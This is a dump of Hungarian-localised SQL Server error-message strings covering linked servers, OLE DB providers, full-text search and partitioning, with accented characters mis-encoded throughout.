A WRITETEXT utasts nem engedlyezett, mert folyamatban van az oszlop repliklsa a Data Transformation Services (DTS) hasznlatval, illetve nyomon kvetse a vltozsok adatrgztQ mqveletvel.

A repliklni kvnt LOB-adatok (%1!s!) hosszsga meghaladja a belltott maximlis rtket (%2!s!). Hasznlja az sp_configure trolt eljrst a  max text repl size  bellts maximlis rtknek megnvelshez. Az alaprtelmezett maximlis rtk 65536. A -1 rtk megadsa azt jelenti, hogy nincs hatrrtk, csak az adattpus ltal elQrt hatrrtk.

tNem hozhatk ltre tovbbi rva kezelQk az sp_createorphan trolt eljrs hasznlatval. Szabadtson fel nhny olyan rva kezelQt, amelyet beszrssal vagy trlssel hozott ltre.

Elrvult szveget kell ltrehozni egy felhasznli tranzakciban.

lAz rvnytelen keresQ visszakeresse megtrtnt.

Nem frissthetQk a text/ntext/image tpus olyan oszlopok, amelyekre megQrztt vagy indexelt szmtott oszlop hivatkozik.

Nincs elegendQ pufferterlet az rsi mqvelet vgrehajtshoz.

Nem sikerlt vgrehajtani az eljrst a tvoli  %1!s!  kiszolgln, mert az SQL Server nincs belltva a tvoli elrsre. Krje meg a rendszergazdt, hogy lltsa be az SQL Server rendszert a tvoli elrs engedlyezsre.

A(z)  %1!s!  kiszolgl nem tallhat a sys.servers katalgusban. EllenQrizze, hogy helyes-e a megadott kiszolglnv. Ha szksges, az sp_addlinkedserver trolt eljrs vgrehajtsval vegye fel a kiszolglt a sys.servers katalgusba.

Nem sikerlt vgrehajtani a(z)  %1!s!  eljrst a tvoli  %2!s!  kiszolgln.

\A szolgltat nem tudta tadni a tvoli trolt eljrs paramtereit a tvoli  %1!s!  kiszolglnak. EllenQrizze a paramterek szmt, sorrendjt s az tadott rtkeket.

A rendszer tllpte a tvoli eljrs %1!s! msodperces idQtllpsi hatrrtkt. A tvoli  %2!s!  eljrs meg lett szaktva.

Nem sikerlt vgrehajtani az utastst a tvoli  %1!s!  kiszolgln.

Nem sikerlt tovbbtani a(z)  %1!s!  eljrs eredmnyt a tvoli  %2!s!  kiszolglrl.

Nem lehet megszerezni a szksges felletetet ( %1!s! ) a csatolt  %3!s!  kiszolgl  %2!s!  OLE DB-szolgltatjtl.

Nem lehet ltrehozni a csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatjnak pldnyt.

Nem lehet inicializlni a csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-adatszolgltatjnak adatforrs-objektumt.

Nem lehet csatlakozni a(z)  %1!s!  OLE DB-szolgltat hasznlatval a csatolt  %2!s!  kiszolglhoz. EllenQrizze a kapcsolat paramtereit, illetve a csatolt kiszolglhoz tartoz bejelentkezsi adatokat.

Nem lehet ltrehozni utastsobjektumot a csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatjnak hasznlatval.

Nem lehet megnyitni a csatolt  %3!s!  kiszolgl  %2!s!  OLE DB-szolgltatjnak  %1!s!  tbljt. %4!s!

\Nem lehet megszerezni az adatforrst a csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatjnak egyik munkamenetbQl. A szolgltatnak tmogatnia kell ezt a mqveletet.

0A(z)  %1!s!  OLE DB-szolgltat nem hasznlhat elosztott lekrdezsekhez, mert a szolgltat egyszlas apartman mdban val futsra van belltva.

Nem lehet megszerezni a csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatja ltal tmogatott smasorkszletek kszlett. A szolgltat tmogatja a felletet, de hasznlata esetn hibakdot ad vissza.

Nem lehet megszerezni a csatolt  %3!s!  kiszolgl  %2!s!  OLE DB-szolgltatjnak  %1!s!  smasorkszlett. A szolgltat tmogatja a felletet, de hasznlata esetn hibakdot ad vissza.

A csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatjhoz tartoz sma vagy katalgus hasznlata rvnytelen. Ngy rszbQl ll nv van megadva, de a szolgltat nem jelenti meg a katalgusok vagy smk hasznlathoz szksges felleteket.

A csatolt  %2!s!  kiszolgl  %1!s!  szolgltatjhoz rvnytelen sma vagy katalgus van megadva.

xA csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatja nem tartalmazza a(z)  %3!s!  tblt. A tbla nem ltezik, vagy az aktulis felhasznlnak nincs engedlye az adott tblhoz.

A csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatja tbb olyan tblt tartalmaz, amelyek neve megegyezik a(z)  %3!s!  nvvel.

xA csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatjval nem hasznlhatk minQstett tblanevek (sma vagy katalgus), mert a szolgltat nem valstja meg a szksges funkcikat.

A csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatja rvnytelen smadefincit adott vissza.

A csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatja rvnytelen oszlopdefincit adott vissza a(z)  %3!s!  tblhoz.

DA csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatja egy  %3!s!  indexet adott vissza ( %4!s! ), amelyben helytelen knyvjelzQsorszm (%5!s!) szerepel.

Nem lehet vgrehajtani a(z)  %1!s!  lekrdezst a csatolt  %3!s!  kiszolgl  %2!s!  OLE DB-szolgltatjra vonatkozan. %4!s!

,Hiba trtnt a csatolt  %3!s!  kiszolgl  %2!s!  OLE DB-szolgltatjra vonatkoz  %1!s!  lekrdezs vgrehajtsnak elQksztse kzben. %4!s!

Hiba trtnt a paramteradatoknak a csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatjnak val megadsa sorn.

Hiba trtnt a lekrdezsszvegnek a csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatjnak val elkldse sorn.

Hiba trtnt a paramtertulajdonsgoknak a csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatjnl val belltsa sorn.

`A CLR-beli tpus oszlopokat megjelentQ lekrdezsek nem engedlyezettek az elosztott lekrdezsekben. Hasznljon tad lekrdezst a tvoli  %1!s!  objektum elrshez.

Hiba trtnt a lekrdezsszvegnek a csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatjtl val beolvassa sorn.

Hiba trtnt a paramteradatoknak a csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatjtl val beolvassa sorn.

Nem lehet sort lehvni a csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatjbl.

A csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatjbl szrmaz sorok nem oldhatk fel.

Nem lehet jbl ellenQrizni a csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatjbl szrmaz eredmnyhalmazt. %3!s!

Nem lehet sort lehvni knyvjelzQ hasznlatval a csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatjbl.

A csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatja rvnytelen adatokat adott vissza a kvetkezQ oszlopnl:  %3!s!.%4!s! .

Nem lehet oszloplert ltrehozni a csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatjhoz.

Nem lehet lekrni a(z)  %1!s!.%2!s!  oszlop aktulis sorrtkt a csatolt  %4!s!  kiszolgl  %3!s!  OLE DB-szolgltatjbl. %5!s!

dNem vrt NULL rtk lett visszaadva a(z)  %1!s!.%2!s!  oszlopra vonatkozan a csatolt  %4!s!  kiszolgl  %3!s!  OLE DB-szolgltatjbl. Ez az oszlop nem lehet NULL rtkq.

A csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatja nem tudta vgrehajtani a kvetkezQ mqveletet: %3!s!, tbla:  %4!s! . %5!s!

HA csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatja a(z)  %5!s!  oszlop miatt nem tudta vgrehajtani a kvetkezQ mqveletet: %3!s!, tbla:  %4!s! . %6!s!

A csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatja nem tudott trlni a(z)  %3!s!  tblbl. %4!s!

Nem lehet lekrni az adatokat a csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatjnak sorbl. %3!s!

A csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatja olyan adatokat adott vissza, amelyek nem felelnek meg a(z)  %3!s!.%4!s!  oszlop vrt adathosszsgnak. A vrt (maximlis) adathosszsg %5!s!, mg a visszaadott adathosszsg %6!s!.

A csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatja nem tudta belltani a(z)  %3!s!  tbla tartomnyt. %4!s!. A problma lehetsges oknak megllaptshoz tekintse t a rszletes hibazenetet.

(A csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatja nem tudta belltani a(z)  %3!s!  tbla tartomnyt a(z)  %4!s!  oszlop miatt. %5!s!

Nem lehet lekrni az oszlopadatokat a csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatjbl.

A csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatja nem tudta lekpezni a(z)  %3!s!  objektum egy vagy tbb oszlopnak sorszmt.

<A csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatja inkonzisztens metaadatokat adott meg. A(z)  %3!s!  objektumbl hinyzott a vrt  %4!s!  oszlop.

A csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatja inkonzisztens metaadatokat adott meg. A vgrehajts sorn egy olyan tovbbi oszlop lett megadva, amely a fordts sorn nem volt megtallhat.

A csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatja rvnytelen metaadatokat adott meg a kvetkezQ oszlophoz:  %3!s! . %4!s!

0A csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatja rvnytelen metaadatokat adott meg egy oszlophoz. A nv megvltozott a vgrehajts sorn.

4A csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatja rvnytelen metaadatokat adott meg egy oszlophoz. A(z)  %5!s!  objektum  %3!s!  oszlopnl (sorszm a fordts sorn: %4!s!) a(z)  %6!s!  (%7!s!) adat szerepelt a fordtsi idQben, a futsi idQben pedig a(z) %8!s! adat.

A(z)  %1!s!  objektum nem dolgozhat fel. A csatolt  %3!s!  kiszolgl  %2!s!  OLE DB-szolgltatja azt jelzi, hogy az objektumnak nincsenek sorai, vagy az aktulis felhasznlnak nincs engedlye az adott objektumhoz.

A lekrdezs nem hajthat vgre. A csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatja nem biztostott megfelelQ felletet a text, ntext vagy image tpus  %3!s!.%4!s!  oszlop elrshez.

A csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatja azt jelentette, hogy a sma verzija megvltozott a fordtsi idQ ( %3!s! ) s a futsi idQ ( %4!s! ) kztt a(z)  %5!s!  tblnl.

4Nem lehet lekrni egy trolobjektum hosszsgt a csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatjbl a(z)  %3!s!  tbla  %4!s!  oszlopnl.

 Nem lehet olvasni egy trolobjektumot a csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatjbl a(z)  %3!s!  tbla  %4!s!  oszlopnl.

(A csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatja klnbzQ metaadatokat jelentett futsi idQben a(z)  %3!s!  tbla  %4!s!  oszlopnl.

$Nem lehet megszerezni a nem ktelezQ metaadatok oszlopainak oszlopsorkszlett a csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatjbl.

Nem lehet megszerezni az oszlopsorkszletet a csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatjbl.

hA csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatja tmogatja az oszlopszintq rendezst, de a futsi idQben nem tudta biztostani a metaadatokat trol  %3!s!  oszlopot.

\A csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatja tmogatja az oszlopszintq rendezst, de nem tudta biztostani a rendezsi adatokat a(z)  %3!s!  oszlop szmra.

,A csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatja rvnytelen rendezst adott meg. LCID = %3!s!, Compflags = %4!s!, SortOrder =  %5!s! .

Nem lehetett belltani egy vagy tbb tulajdonsgot a csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatjnak lekrdezsnl. %3!s!

tA(z)  %2!s!  OLE DB-szolgltat csatolt  %1!s!  kiszolgljnak  collation name  kiszolglbelltsa a(z) %3!s! rendezsi azonostt tartalmazza, amelyet az SQL Server nem tmogat.

Nem lehet tulajdonsgokat lekrni a csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatjbl.

Nem lehet belltani a csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatjnak inicializlsi tulajdonsgait.

Nem lehet belltani a csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatjnak munkameneti tulajdonsgait.

Nem lehet megnyitni a csatolt  %4!s!  kiszolgl  %3!s!  OLE DB-szolgltatjban lvQ  %2!s!  tbla  %1!s!  indext. %5!s!

Nem sikerlt knyszertetten ltrehozni a lekrdezs tvoli illesztst.

tTvoli adatforrshoz nem lehet megadni indexmutatt.

Tbla rtkq paramterek nem engedlyezettek a kiszolglk kztti tvoli hvsokban.

<A krt mqveletet nem lehetett vgrehajtani, mert a csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatja nem tmogatja a szksges tranzakcifelletet.

@A krt mqveletet nem lehetett vgrehajtani, mert a csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatja nem tudott elkezdeni egy elosztott tranzakcit.

Nem lehet tranzakcit elindtani a csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatjnl.

A csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatja 0x%3!s! hibt jelzett az aktulis tranzakci megszaktsakor.

A csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatja hibt jelzett az aktulis tranzakci vglegestsekor.

Nem lehet elindtani begyazott tranzakcit a csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatjnl. Begyazott tranzakcira volt szksg, mert az XACT_ABORT bellts rtke OFF volt.

xA varchar(max), az nvarchar(max), a varbinary(max) s a large CLR-beli tpus adattpusok nem hasznlhatk visszatrsi rtkknt vagy kimeneti paramterknt a tvoli lekrdezseknl.

A tvoli fggvny varchar(max), nvarchar(max), varbinary(max) vagy large CLR-beli tpus rtket adott vissza. Ez nem tmogatott.

A csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatja hibt jelzett. %3!s!

A(z)  %1!s!  OLE DB szolgltat ltal visszaadott karakterlnc rvnytelen szveges elQtag/uttag.

lA(z)  %1!s!  OLE DB-szolgltat nincs bejegyezve.

lA kiszolgl nem tudta betlteni a DCOM modellt.

A heterogn lekrdezsek esetben meg kell adni az ANSI_NULLS s az ANSI_WARNINGS belltst a kapcsolathoz. Ez biztostja a lekrdezs konzisztens szemantikjt. Engedlyezze ezeket a belltsokat, s indtsa el jbl a lekrdezst.

Nem sikerlt elindtani a lekrdezst az integrlt bejelentkezs hasznlatval, mert a felhasznl az SQL Server hitelestQ adataival van bejelentkezve. A kapcsolati karakterlncban adja meg a tvoli kiszolglhoz szksges bejelentkezsi azonostt s jelszt.

A tvoli elrs nem engedlyezett megszemlyestett biztonsgi krnyezet esetn.

A(z)  %1!s!  kiszolgl nincs belltva a kvetkezQhz: %2!s!.

A csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatja a kvetkezQ zenetet adta vissza:  %3!s! .

Nem sikerlt csatlakozni a  %1!s!  csatolt kiszolglhoz ( %2!s!  OLE DB-szolgltat). Engedlyezze a deleglst, vagy hasznljon tvoli SQL Server-bejelentkezst az aktulis felhasznlhoz.

A paramterek szma rvnytelen. A(z)  %1!s!  rtkkszlet %2!s! paramtert vr.

A(z)  %1!s!  OLE DB-szolgltat alkalmi elrse meg lett tagadva. Ezt a szolgltatt csatolt kiszolgln keresztl kell elrnie.

A tvoli kiszolgl elrse megtagadva, mert nincs bejelentkezsi lekpezs.

A GROUP BY ALL zradk nem tmogatott a tvoli tblkat elrQ lekrdezsekben, ha WHERE zradk is szerepel a lekrdezsben.

0A text, image vagy ntext tpus oszlop tl nagy volt, nem lehetett elkldeni a tvoli adatforrsba a szolgltat ltal hasznl trolfellet miatt.

A lusta smarvnyests hibt tallt. Megvltozott a csatolt kiszolgl smjnak verzija. Futtassa jbl a lekrdezst.

A tvoli elrs nem tmogatott a tranzakcik  %1!s!  elklntsi szintjnl.

A csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatja rvnytelen indexdefincit adott vissza a(z)  %3!s!  tblhoz.

A csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatja rvnytelen CLR-tpusdefincit adott vissza a(z)  %3!s!  tblhoz.

A(z)  %1!s!  OLE DB-szolgltat folyamaton kvl hasznlata az SQL Server rendszerrel nem tmogatott.

tNem lehet trlni az OLE DB paramter tulajdonsgait.

A heterogn lekrdezsek s az OLE DB-szolgltatk hasznlata nem tmogatott a rszszlas zemmdban.

A csatolt  %2!s!  kiszolgl  %1!s!  OLE DB-szolgltatja nem vrt NULL mutatt adott vissza a szveges  %3!s!.%4!s!  oszlophoz. 

A lekrdezsfeldolgoz nem tudott lekrdezstervet kszteni, mert a(z)  %1!s!  tblra vagy nzetre vonatkoz FORCESEEK vagy FORCESCAN mutat nem hasznlhat tvoli adatforrssal. Tvoltsa el a mutatkat, s kldje el a lekrdezst jbl.

Csatolt kiszolglk nem hasznlhatk megszemlyests mellett, ha nem ltezik lekpezs a megszemlyestett bejelentkezsi azonosthoz.

A 32 bites  %1!s!  OLE DB-szolgltat nem tlthetQ be folyamaton bell az SQL Server 64 bites verzijn.

CONTAINS vagy FREETEXT prediktum nem hasznlhat a(z)  %2!s!  %1!s! esetben, mert nem teljes szveges index tartozik hozz.

IdQtllps miatt nem sikerlt a teljes szveges mqvelet vgrehajtsa.

Nem tallhat teljes szveges index a(z) %1!s! azonostj adatbzishoz, vagy a(z) %2!s! azonostj indexelt nzethez, illetve tblhoz.

Nem sikerlt a(z)  %4!s!  keressi felttellel megadott keress a(z) %2!s! azonostj adatbzis vagy a(z) %3!s! azonostj indexelt nzet, illetve tbla teljes szveges  %1!s!  katalgusban, az eredmny ismeretlen (0x%5!s!).

Ismeretlen teljes szveges hiba (0x%1!s!) trtnt a kvetkezQ mqvelet sorn:  %2!s! .

A teljes szveges keress funkcija nincs teleptve, vagy nem tlthetQ be egy teljes szveges sszetevQ.

A(z)  %1!s!  hozzfrse megtagadva, vagy rvnytelen az elrsi t.

A(z)  %1!s!  index nem dobhat el, mert a(z)  %2!s!  tbla vagy nzet teljes szveges kulcst knyszerti.

Nem lehet megvltoztatni vagy eldobni a(z)  %1!s!  oszlopot, mert engedlyezve van a teljes szveges keressben.

DA CONTAINS vagy a FREETEXT prediktum csak egy tblban vagy indexelt nzetben mqkdhet. MinQstse a * hasznlatt egy tbla vagy egy indexelt nzet nevvel.

TA teljes szveges keress nincs engedlyezve az aktulis adatbzisban. Az sp_fulltext_database trolt eljrs hasznlatval engedlyezze a teljes szveges keresst az adatbzisban. Az adatbzisok teljes szveges keressnek letiltsa s engedlyezse elavult funkci. Mdostsa az alkalmazst.

4A lekrdezs nem hivatkozik a teljes szveges indexq tblra vagy indexelt nzetre, vagy a felhasznlnak nincs engedlye a mqvelet vgrehajtshoz. 

Nem sikerlt egy teljes szveges lekrdezs vgrehajtsa.  %1!s! 

Nem sikerlt a(z) %1!s! adattpusra trtnQ talakts a teljes szveges keress kulcsnl.

A teljes szveges prediktum hasznlata rvnytelen a HAVING zradkban.

Nincs elegendQ lemezterlet a mqvelet vgrehajtshoz a teljes szveges  %1!s!  katalgusra vonatkozan.

A teljes szveges  %1!s!  katalgus nem hasznlhat llapotban van. Dobja el, s hozza ltre jbl ezt a teljes szveges katalgust.

A teljes szveges tblhoz vagy indexelt nzethez tbb LCID tartozik a teljes szveges indexq oszlopaiban.

A top_n_by_rank argumentumnak ( %1!s! ) nullval egyenlQnek vagy annl nagyobbnak kell lennie.

hNem hozhat ltre a teljes szveges katalgus a frtztt kiszolgl  %1!s!  knyvtrban. Csak a kiszolgl frtcsoportjban lvQ lemezeken tallhat knyvtrak hasznlhatk.

`A teljes szveges alaprtelmezett elrsi t belltskulcsa nem nyithat meg vagy nem krdezhetQ le. A teljes szveges alaprtelmezett katalgus elrsi tja rvnytelen.

Szintaktikai hiba a(z)  %1!s!  kzelben a teljes szveges keressi felttelben:  %2!s! .

|A Weight argumentum rtknek 0,0 s 1,0 kz kell esnie.

 A teljes szveges  %1!s!  katalgus nem ltezik a(z)  %2!s!  adatbzisban, vagy a felhasznlnak nincs engedlye a mqvelet vgrehajtshoz.

Egy  %1!s!  nevq teljes szveges katalgus mr ltezik ebben az adatbzisban. Hasznljon ms nevet.

A teljes szveges bejrskezelQ nincs inicializlva. A bejrskezelQ teljes inicializlsa elQtt elindtott mindegyik bejrst jra kell indtani. Indtsa jra az SQL Server rendszert, s prblja meg jbl vgrehajtani a parancsot. EllenQrizze a hibanaplt is, hogy kijavthassa a bejrskezelQ hibja ltal okozott esetleges hibkat.

lNull vagy res rtkq teljes szveges prediktum.

A teljes szveges prediktum kt klnbzQ tbla vagy indexelt nzet ( %1!s!  s  %2!s! ) oszlopaira hivatkozik. Ez nem engedlyezett.

A(z)  %1!s!  tblhoz vagy indexelt nzethez mr ltre van hozva egy teljes szveges index.

A(z)  %1!s!  nem rvnyes index a teljes szveges keressi kulcsok knyszertshez. A teljes szveges keressi kulcsra a kvetkezQ felttelek vonatkoznak: egyedi, nem nullzhat, egyoszlopos indexnek kell lennie, amely nem offline; amelynek definilsa nem olyan szmtott oszlopban trtnt, amely nem meghatroz vagy nem pontos s nem lland; amelynek nincs szqrQje; s amelynek maximlis mrete %2!s! bjt. Vlasszon msik indexet a teljes szveges kulcshoz.

Nem lehet beolvasni a(z)  %1!s!  tbla vagy indexelt nzet feltltsi llapott.

A TYPE COLUMN belltst image vagy varbinary(max) tpus oszlop hasznlatval kell megadni.

$A(z)  %1!s!  tbla vagy indexelt nzet teljes szveges indexe nem tlthetQ fel, mert az adatbzis egyfelhasznls hozzfrsi zemmdban van.

,A(z)  %1!s!  tblhoz vagy indexelt nzethez nem tartozik teljes szveges index, vagy a felhasznlnak nincs engedlye a mqvelet vgrehajtshoz.

LA teljes szveges keress nem kapcsolhat be a(z)  %1!s!  tblban vagy indexelt nzetben, mert egyetlen oszlop sincs engedlyezve a teljes szveges keresshez.

A mqvelet vgrehajtsa elQtt be kell kapcsolni a teljes szveges keresst a(z)  %1!s!  tblban vagy indexelt nzetben.

A  WITH NO POPULATION  bellts nem hasznlhat, ha engedlyezve van a vltozskvets.

A vltoztatsok kirtse elQtt el kell indtani a teljes szveges vltozskvetst a(z)  %1!s!  tblban vagy indexelt nzetben.

lTeljes bejrst kell vgrehajtani a(z)  %1!s!  tblban vagy indexelt nzetben. Az indexet befolysol oszlopok lettek felvve vagy eldobva az index elQzQ teljes feltltse ta.

xA felhasznlnak nincs engedlye e mqvelet elvgzsre.

A teljes szveges  %1!s!  katalgus nem dobhat el, mert egy teljes szveges indexet tartalmaz.

A(z)  %1!s!  oszlop nem hasznlhat teljes szveges keresshez, mert nem karakteres alap, XML, image vagy varbinary(max) tpus oszlop.

A(z)  %1!s!  oszlop nem hasznlhat teljes szveges tpus oszlopknt az image tpus oszlophoz. Karakteres alap oszlopnak kell lennie, s a mretnek %2!s! karakternl kisebbnek vagy ezzel egyenlQnek kell lennie.

Nem hozhat ltre teljes szveges index a tblhoz vagy az indexelt nzethez, mert ismtlQdQ  %1!s!  oszlop van megadva.

pA(z)  %1!s!  oszlop nem teljes szveges indexelsq.

A kvetkezQ nv nem nyelvi aliasnvknt van definilva a syslanguages rendszertblban: %1!s!.

A teljes szveges keress nem tmogatja a(z)  %1!s!  oszlop teljes szveges indexnek nyelvt.

A teljes szveges keress nem tmogatja az alaprtelmezett teljes szveges index nyelvt.

dA rendszer hibkat tallt a(z)  %2!s!  adatbzis  %1!s!  tbljhoz vagy indexelt nzethez tartoz teljes szveges index feltltse sorn (a tbla vagy az indexelt nzet azonostja:  %3!s! , az adatbzis azonostja:  %4!s! ). A rszletes adatokat a teljes szveges bejrs napliban keresheti meg.

Nem sikerlt egy teljes szveges mqvelet vgrehajtsa.  %1!s! 

Nem sikerlt a teljes szveges mqvelet vgrehajtsa, mert az adatbzis csak olvashat.

A teljes szveges napl elrsi tjnak hozzfrse megtagadva. A teljes szveges naplzs le van tiltva a(z)  %1!s!  adatbzisban s a(z)  %2!s!  katalgusban (adatbzis azonostja:  %3!s! , katalgus azonostja:  %4!s! ).

A teljes szveges katalgus  %1!s!  elrsi tjnak hosszsga meghaladja a(z) %2!s! karakteres hatrrtket.

A teljes szveges inicializls nem tudott ltrehozni memriakezelQt.

Nem sikerlt a katalgus lelltsa a biztonsgi ments elksztshez. A biztonsgi ments megszakadt.

DA megadott terletibellts-azonost rvnytelen. EllenQrizze, hogy helyes-e a terletibellts-azonost, s megfelel-e a teleptett nyelvi erQforrsnak.

A GROUP BY ALL zradk nem hasznlhat teljes szveges keressi lekrdezsekben.

A TYPE COLUMN bellts csak az image s varbinary(max) tpus oszlophoz engedlyezett.

Partcis fggvny definilsakor nem engedlyezett res type-parameter-list megadsa.

A RANGE partcis fggvny nem hozhat ltre tbb paramtertpussal.

pA(z)  %1!s!  tpus nem rvnyes ehhez a mqvelethez.

Nem sikerlt implicit mdon talaktani a tartomnyrtkek %1!s! sorszmnl megadott tpust a partcis fggvny paramtertpusra.

A(z)  %1!s!  partcis fggvnyt egy vagy tbb partcis sma hasznlja.

A trstott  %1!s!  partcis fggvny a(z)  %2!s!  smban emltett fjlcsoportok szmnl tbb partcit llt elQ.

TA partcis fggvny hatrrtklistjban nem szerepelhetnek ismtlQdQ tartomnyhatr-rtkk. A partci %1!s! s %2!s! sorszmnl tallhat hatrrtkei azonosak.

A DATA_COMPRESSION bellts tbbszr van megadva a tblhoz vagy legalbb annak egyik partcijhoz, ha a tbla particionlva van.

TA partci tartomnyrtke hinyzik.

pNem tallhat a partci megadott tartomnyrtke.

A partcis fggvnyek nem hozhatk ltre vagy mdosthatk gy, hogy nulla partcival rendelkezzenek.

A(z)  %1!s!  partcisma jelenleg egy vagy tbb tbla particionlshoz van hasznlva.

Partcitartomny-rtk nem adhat meg kivonat particionlshoz.

Nem sikerlt a CREATE/ALTER partcis fggvny vgrehajtsa, mert legfeljebb csak %1!s! partci hozhat ltre.

pAz adatok csonkultak a tartomnyrtkeknek a partcis fggvny paramtertpusra trtnQ talakts kzben. A(z) %1!s! sorszmnl tallhat tartomnyrtk adatcsonkolst ignyel.

hA partcis fggvnyek hatrrtklistjban nem szerepelhetnek ismtlQdQ tartomnyhatr-rtkek. A felvenni kvnt hatrrtk mr szerepel a hatrrtklista %1!s! sorszmnl.

A megadott %1!s! partciszm rvnytelen a kvetkezQhz:  %3!s!  %2!s!. A partciszmnak az 1 %4!s! tartomnyba kell esnie.

Csak egy fjlcsoportot adhat meg, amikor partcismt hoz ltre, s az ALL belltst hasznlja az sszes fjlcsoport megadshoz.

Szmtott oszlop nem hasznlhat partcikulcsknt, ha az oszlop nem megQrztt. A(z)  %2!s!   %1!s!  partcikulcs-oszlopa nem megQrztt.

Nem sikerlt a partcis fggvnyt megvltoztat utasts vgrehajtsa. A(z)  %1!s!  tbla partcii nem adhatk meg jbl a(z)  %2!s!  partcis fggvny megvltoztatsval, mert a frtztt  %3!s!  indexe le van tiltva.

A(z)  %1!s!  partcioszlop adattpusa %2!s!. Ez klnbzik a(z)  %3!s!  partcis fggvny %4!s! paramteradat-tpustl.

A(z)  %1!s!  partcioszlop rendezse nem egyezik a(z)  %2!s!  partcis fggvny megfelelQ paramternek rendezsvel.

rvnytelen partcitartomny: %1!s! %2!s!. Az als hatrrtk nem lehet nagyobb, mint a felsQ hatrrtk.

Nem adhat meg partciszm a(z) %1!s! %2!s! utastsban, mert a(z)  %4!s!  %3!s! nincs particionlva.

Nem sikerlt az Alter %1!s! utasts vgrehajtsa, mert a(z) %2!s! szm partci nem ltezik a kvetkezQben:  %4!s!  %3!s!.

Nem adhat meg partciszmot az Alter %1!s! utastsban a(z)  %3!s!  %2!s! partcijnak jbli ltrehozshoz vagy trendezshez.

pNem adhat meg partciszmot az Alter index utastsban az ALL kulcsszval egytt a(z)  %1!s!  tbla partciinak jbli ltrehozshoz, ha a tblnak nincsenek szablyos indexei.

Nem sikerlt a(z)  %1!s!  utasts vgrehajtsa. A(z)  %3!s!  %2!s! particionlva van, de a(z)  %5!s!  %4!s! nincs particionlva.

\Nem adhat meg partciszmot az Alter %1!s! utastsban a(z)  %3!s!  %2!s! partcijnak jbli ltrehozshoz vagy trendezshez, mert a(z) %4!s! nincs particionlva.

Partcis fggvny csak az SQL Server Enterprise kiadsban hozhat ltre. Csak az Enterprise kiads tmogatja a particionlst.

A(z) %1!s! fjlcsoport tpusa klnbzik a(z) %2!s! partcisma elsQ fjlcsoportjnak tpustl.

Nem engedlyezhetQ a tmrts a(z)  %1!s!  objektumnl. Csak az SQL Server Enterprise kiadsa tmogatja a tmrtst.

\Nincs megadva a ktelezQ %1!s! paramter.

A(z)  %1!s!  visszatrsi tpussal rendelkezQ fggvnyek nem tmogatottak a SOAP-hvsban.

A(z) %1!s! zradk nem hasznlhat a kvetkezQ utastsban: %2!s!.

X%1!s! s %2!s! nem lehet azonos rtkq.

A SITE paramter elQtagjaknt nem adhat meg sma, pldul a  http:// . A SITE paramter rvnyes rtkei: { *  |  +  |  site_name }.

